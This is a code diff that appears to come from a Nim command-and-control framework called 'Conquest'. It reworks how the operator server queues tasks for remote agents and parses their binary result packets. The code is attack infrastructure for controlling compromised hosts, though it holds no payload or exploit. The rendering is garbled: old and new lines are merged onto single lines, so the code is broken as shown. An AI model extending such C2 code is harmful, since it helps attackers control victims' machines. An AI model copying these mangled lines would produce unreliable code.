cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.") of STATUS_COMPLETED:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {taskId} completed.")
if taskResult.data.len != 0: of STATUS_FAILED:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:") cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {taskId} failed.")
case cast[ResultType](taskResult.resultType):
of RESULT_STRING:
if int(taskResult.length) > 0:
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Output:")
# Split result string on newline to keep formatting # Split result string on newline to keep formatting
# for line in decode(taskResult.data).split("\n"): for line in taskResult.data.toString().split("\n"):
# cq.writeLine(line) cq.writeLine(line)
else:
of RESULT_BINARY:
# Write binary data to a file
cq.writeLine() cq.writeLine()
else: of RESULT_NO_OUTPUT:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.")
if taskResult.data.len != 0:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:")
# Split result string on newline to keep formatting
# for line in decode(taskResult.data).split("\n"):
# cq.writeLine(line)
else:
cq.writeLine() cq.writeLine()
# Update task queue to include all tasks, except the one that was just completed # Update task queue to include all tasks, except the one that was just completed
# cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task) cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
return

View File

@@ -94,7 +94,7 @@ proc getTasks*(ctx: Context) {.async.} =
try: try:
var response: seq[byte] var response: seq[byte]
let tasks = getTasks(listener, agent) let tasks: seq[seq[byte]] = getTasks(listener, agent)
if tasks.len <= 0: if tasks.len <= 0:
resp "", Http200 resp "", Http200
@@ -134,21 +134,15 @@ proc postResults*(ctx: Context) {.async.} =
task = ctx.getPathParams("task") task = ctx.getPathParams("task")
# Check headers # Check headers
# If POST data is not JSON data, return 404 error code # If POST data is not binary data, return 404 error code
if ctx.request.contentType != "application/json": if ctx.request.contentType != "application/octet-stream":
resp "", Http404 resp "", Http404
return return
try: try:
let handleResult(ctx.request.body.toBytes())
taskResultJson: JsonNode = parseJson(ctx.request.body)
taskResult: TaskResult = taskResultJson.to(TaskResult)
# Handle and display task result
handleResult(listener, agent, task, taskResult)
except CatchableError: except CatchableError:
# JSON data is invalid or does not match the expected format (described above)
resp "", Http404 resp "", Http404
return return

View File

@@ -1,5 +1,5 @@
import times, strformat, terminal, tables, json, sequtils, strutils import times, strformat, terminal, tables, json, sequtils, strutils
import ./[parser, packer] import ./[parser]
import ../utils import ../utils
import ../../common/types import ../../common/types
@@ -177,12 +177,9 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
let let
command = getCommandFromTable(parsedArgs[0], commands) command = getCommandFromTable(parsedArgs[0], commands)
task = cq.parseTask(command, parsedArgs[1..^1]) task = cq.parseTask(command, parsedArgs[1..^1])
taskData: seq[byte] = cq.serializeTask(task)
# cq.writeLine(taskData.toHexDump())
# Add task to queue # Add task to queue
cq.interactAgent.tasks.add(taskData) cq.interactAgent.tasks.add(task)
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}") cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}")
except CatchableError: except CatchableError:

View File

@@ -3,9 +3,9 @@ import ../utils
import ../../common/types import ../../common/types
import ../../common/serialize import ../../common/serialize
proc serializeTask*(cq: Conquest, task: Task): seq[byte] = proc serializeTask*(task: Task): seq[byte] =
var packer = initTaskPacker() var packer = initPacker()
# Serialize payload # Serialize payload
packer packer
@@ -39,3 +39,63 @@ proc serializeTask*(cq: Conquest, task: Task): seq[byte] =
# TODO: Calculate and patch HMAC # TODO: Calculate and patch HMAC
return header & payload return header & payload
proc deserializeTaskResult*(resultData: seq[byte]): TaskResult =
var unpacker = initUnpacker(resultData.toString)
let
magic = unpacker.getUint32()
version = unpacker.getUint8()
packetType = unpacker.getUint8()
flags = unpacker.getUint16()
seqNr = unpacker.getUint32()
size = unpacker.getUint32()
hmacBytes = unpacker.getBytes(16)
# Explicit conversion from seq[byte] to array[16, byte]
var hmac: array[16, byte]
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
# Packet Validation
if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
# TODO: Validate sequence number
# TODO: Validate HMAC
# TODO: Decrypt payload
# let payload = unpacker.getBytes(size)
let
taskId = unpacker.getUint32()
agentId = unpacker.getUint32()
listenerId = unpacker.getUint32()
timestamp = unpacker.getUint32()
command = unpacker.getUint16()
status = unpacker.getUint8()
resultType = unpacker.getUint8()
length = unpacker.getUint32()
data = unpacker.getBytes(int(length))
return TaskResult(
header: Header(
magic: magic,
version: version,
packetType: packetType,
flags: flags,
seqNr: seqNr,
size: size,
hmac: hmac
),
taskId: taskId,
agentId: agentId,
listenerId: listenerId,
timestamp: timestamp,
command: command,
status: status,
resultType: resultType,
length: length,
data: data
)

View File

@@ -31,6 +31,11 @@ proc toString*(data: seq[byte]): string =
for i, b in data: for i, b in data:
result[i] = char(b) result[i] = char(b)
proc toBytes*(data: string): seq[byte] =
result = newSeq[byte](data.len)
for i, c in data:
result[i] = byte(c.ord)
proc toHexDump*(data: seq[byte]): string = proc toHexDump*(data: seq[byte]): string =
for i, b in data: for i, b in data:
result.add(b.toHex(2)) result.add(b.toHex(2))